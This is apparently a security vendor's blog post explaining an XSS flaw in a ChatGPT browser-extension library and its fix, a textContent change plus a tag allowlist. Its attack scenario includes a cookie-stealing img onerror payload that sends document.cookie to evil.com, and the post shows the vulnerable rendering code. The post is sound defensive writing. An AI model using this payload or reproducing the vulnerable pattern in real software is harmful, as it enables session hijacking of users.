Back to Blog
critical SEVERITY9 min read

How Cross-Site Scripting (XSS) happens in JavaScript browser extensions and how to fix it

A cross-site scripting (XSS) vulnerability was discovered in `extension/lib/chatgpt.js` where the `chatgpt.alert()` function used `modalMsg.innerText` to set user-controlled content before passing it to `chatgpt.renderHTML()`, allowing injected HTML to be rendered unsanitized. The fix replaces `innerText` with `textContent` and introduces an allowlist of safe HTML tags and attributes inside `renderHTML()`. This prevents attackers from injecting arbitrary HTML or JavaScript through modal message

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

This is a Cross-Site Scripting (XSS) vulnerability (CWE-79) in the JavaScript file `extension/lib/chatgpt.js`, affecting the `chatgpt.alert()` function at line 288. The root cause is that `modalMsg.innerText` was used to assign user-controlled content, which was then processed by `chatgpt.renderHTML()` without tag or attribute sanitization — allowing attackers to inject and execute arbitrary HTML/JavaScript. The fix replaces `innerText` with `textContent` and adds an explicit allowlist of safe tags (`a`, `b`, `i`, `em`, `strong`, `br`, `span`, `p`, `code`, `pre`, `ul`, `ol`, `li`) and permitted attributes inside `renderHTML()`, blocking all non-allowlisted elements from being rendered.

Vulnerability at a Glance

cweCWE-79
fixReplace `innerText` with `textContent` and enforce an allowlist of safe tags and attributes inside `renderHTML()`
riskAttackers can inject and execute arbitrary HTML/JavaScript in modal dialogs rendered by browser extensions or web apps using this library
languageJavaScript
root cause`modalMsg.innerText` assigns user content as text but DOM re-parsing by `renderHTML()` treats it as markup, bypassing intended text-only assignment
vulnerabilityCross-Site Scripting (XSS)

How Cross-Site Scripting (XSS) Happens in JavaScript Browser Extensions and How to Fix It

Summary

A cross-site scripting (XSS) vulnerability was discovered in extension/lib/chatgpt.js where the chatgpt.alert() function used modalMsg.innerText to set user-controlled content before passing it to chatgpt.renderHTML(), allowing injected HTML to be rendered unsanitized. The fix replaces innerText with textContent and introduces an allowlist of safe HTML tags and attributes inside renderHTML(). This prevents attackers from injecting arbitrary HTML or JavaScript through modal message content in downstream consumers of this Node.js library.


Introduction

The extension/lib/chatgpt.js file is the core utility library for a ChatGPT browser extension, responsible for rendering modal dialogs, processing chat content, and managing UI interactions. At line 288, the chatgpt.alert() function contained a subtle but dangerous pattern: it assigned user-controlled content to modalMsg.innerText, then immediately passed that same DOM element to chatgpt.renderHTML().

On the surface, using innerText instead of innerHTML looks like a safety-conscious choice. It isn't — not when the element is then handed to a function that re-parses its content as HTML markup. This one-two punch created a direct path for cross-site scripting attacks in every downstream application consuming this library.


The Vulnerability Explained

The Problematic Code Pattern

Here is the exact vulnerable line at extension/lib/chatgpt.js:288:

// VULNERABLE — before the fix
modalTitle.textContent = title || '' ; modalMsg.innerText = msg || '' ; chatgpt.renderHTML(modalMsg)

At first glance, innerText seems safe — it's not innerHTML, after all. But the critical mistake is what happens next: chatgpt.renderHTML(modalMsg) is called on the same element. Let's look at what renderHTML does inside the vulnerable version:

// VULNERABLE renderHTML (before fix)
const reTags = /<([a-z\d]+)\b([^>]*)>([\s\S]*?)<\/\1>/g,
      reAttrs = /(\S+)=['"]?((?:.(?!['"]?\s+\S+=|[>']))+.)['"]?/g,
      nodeContent = node.childNodes
// ...
const elem = elems[0],
      [tagContent, tagName, tagAttrs, tagText] = elem.slice(0, 4),
      tagNode = document.createElement(tagName) ; tagNode.textContent = tagText

renderHTML() uses a regex (reTags) to scan the node's text content for HTML tag patterns like <tagName attrs>text</tagName>, then calls document.createElement(tagName) to build real DOM nodes from whatever tag names it finds — without validating whether those tag names are safe.

Why innerText Doesn't Protect You Here

innerText does prevent immediate HTML injection into the DOM. However, it does not prevent the text content itself from containing HTML-like strings. When renderHTML() reads node.childNodes and applies reTags regex matching, it operates on the raw text — including any <script>, <img onerror=...>, or <iframe> strings that were stored as plain text. The function then faithfully creates DOM elements from those strings, effectively re-injecting the attacker's payload as live HTML.

A Concrete Attack Scenario

Imagine a downstream application that calls chatgpt.alert() with content derived from a URL parameter, API response, or shared chat message:

// Downstream consumer — attacker controls `userMessage`
const userMessage = '<img src=x onerror="fetch(`https://evil.com/?c=`+document.cookie)">'
chatgpt.alert('Notice', userMessage)

Under the vulnerable code:
1. modalMsg.innerText = userMessage — stores the string as text, no DOM injection yet.
2. chatgpt.renderHTML(modalMsg) — regex matches <img src=x onerror="...">, calls document.createElement('img'), sets attributes, appends to DOM.
3. Browser fires onerror, exfiltrating cookies to the attacker's server.

The PR description also notes that fetched HTML from shared chat URLs was processed without sanitization before being written to popup windows via document.write() — a second, equally dangerous sink.

Real-World Impact

This library is described as a Node.js package whose vulnerabilities affect all downstream consumers. Any application using chatgpt.alert() with content that originates from external sources (API responses, user input, shared URLs) is exposed to:

  • Session hijacking via cookie theft
  • Credential harvesting through injected fake login forms
  • Malware distribution via drive-by download redirects
  • UI redressing to deceive users into unintended actions

The Fix

The fix addresses the vulnerability in two coordinated places within chatgpt.js.

Change 1: Replace innerText with textContent at Line 288

// BEFORE (vulnerable)
modalTitle.textContent = title || '' ; modalMsg.innerText = msg || '' ; chatgpt.renderHTML(modalMsg)

// AFTER (fixed)
modalTitle.textContent = title || '' ; modalMsg.textContent = msg || '' ; chatgpt.renderHTML(modalMsg)

This is a one-word change with significant security implications. textContent sets the node's text and never triggers HTML parsing, even when the content is subsequently read back. While innerText and textContent are often treated as interchangeable, innerText is layout-aware and interacts differently with the DOM in ways that can be exploited in rendering pipelines. Using textContent consistently ensures the raw string is stored as inert text.

Change 2: Tag and Attribute Allowlist in renderHTML()

The second change adds an explicit allowlist inside renderHTML() so that even if content reaches the rendering function, only known-safe tags are processed:

// AFTER (fixed) — new allowlist variables added
const reTags = /<([a-z\d]+)\b([^>]*)>([\s\S]*?)<\/\1>/g,
      reAttrs = /(\S+)=['"]?((?:.(?!['"]?\s+\S+=|[>']))+.)['"]?/g,
      nodeContent = node.childNodes,
      allowedTags = new Set(['a', 'b', 'i', 'em', 'strong', 'br', 'span', 'p', 'code', 'pre', 'ul', 'ol', 'li']),
      allowedAttrs = { a: ['href', 'target', 'rel'], span: ['class', 'style'], code: ['class'] }

And in the element processing loop:

// AFTER (fixed) — disallowed tags are skipped
if (!allowedTags.has(tagName)) continue // skip disallowed tags
const tagNode = document.createElement(tagName) ; tagNode.textContent = tagText

The allowedTags Set contains only formatting and structural elements that have no script execution capability: a, b, i, em, strong, br, span, p, code, pre, ul, ol, li. Tags like <script>, <img>, <iframe>, <svg>, and <object> — all common XSS vectors — are absent and will be silently skipped.

The allowedAttrs map further restricts which attributes each tag may carry. An <a> tag can have href, target, and rel, but not onclick or onmouseover. A <span> can have class and style, but not event handlers.

Defense in Depth

These two changes work together as defense-in-depth:

Layer Mechanism What it blocks
Input assignment textContent instead of innerText Prevents layout-aware re-parsing quirks
Rendering gate allowedTags.has(tagName) check Blocks <script>, <img>, <iframe>, <svg>, etc.
Attribute gate allowedAttrs map Blocks onerror, onclick, onload event handlers

Key Takeaways

  • innerText is not a sanitizer: Assigning user content via innerText and then passing the element to a rendering function is not safe — the rendering function reads back the text and can reconstruct HTML from it.
  • renderHTML() without an allowlist is a universal XSS gadget: Any function that calls document.createElement(tagName) with unvalidated tag names from user content can be weaponized to inject <script>, <img onerror=...>, or any other executable element.
  • Allowlists beat blocklists: The fix uses new Set([...safe tags...]) and skips anything not in the set. A blocklist approach (trying to block known-bad tags) will always miss novel vectors.
  • Defense in depth matters: Fixing only the innerText → textContent change without also adding the allowlist in renderHTML() would leave the rendering layer exploitable through other code paths.
  • Library XSS has multiplied blast radius: Because chatgpt.js is a shared library, this single vulnerability affected every downstream consumer — fixing it in one place protected all of them simultaneously.

How Orbis AppSec Detected This

  • Source: User-controlled content passed as the msg argument to chatgpt.alert() — this can originate from API responses, URL parameters, or shared chat content fetched from external URLs.
  • Sink: chatgpt.renderHTML(modalMsg) at extension/lib/chatgpt.js:288, which calls document.createElement(tagName) with unvalidated tag names extracted from the node's text content via regex.
  • Missing control: No tag or attribute allowlist existed in renderHTML(), and innerText was used instead of textContent before passing the element to the renderer — allowing the text content to be re-interpreted as HTML markup.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • Fix: Replaced innerText with textContent at line 288 and added allowedTags Set and allowedAttrs map inside renderHTML() to reject all non-allowlisted elements.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a textbook example of how seemingly safe DOM APIs can become XSS vectors when combined with a rendering pipeline that lacks an allowlist. The chatgpt.alert() function in extension/lib/chatgpt.js used innerText — which many developers consider "the safe option" — but immediately undermined that choice by passing the element to renderHTML(), which reconstructed DOM nodes from the text content without validating tag names.

The two-part fix is elegant precisely because it addresses both layers: textContent closes the input-assignment gap, and the allowedTags Set closes the rendering gap. Together, they ensure that no matter how content reaches renderHTML(), only known-safe markup can ever be constructed.

For developers building browser extensions or UI libraries that process external content: always trace the full lifecycle of user-controlled data through your rendering pipeline. A string that looks inert at assignment can become executable HTML several function calls later.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #205

Related Articles

critical

fast-xml-parser 4.5.0 XSS: DOCTYPE Entity Injection in XML.parse()

fast-xml-parser versions 4.5.0 and earlier fail to sanitize DOCTYPE entity declarations during XML parsing, allowing attackers to inject JavaScript through crafted XML payloads. The vulnerability permits reflected XSS in applications that process untrusted XML input. Upgrading to version 5.7.0 eliminates the unsafe entity expansion path.

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.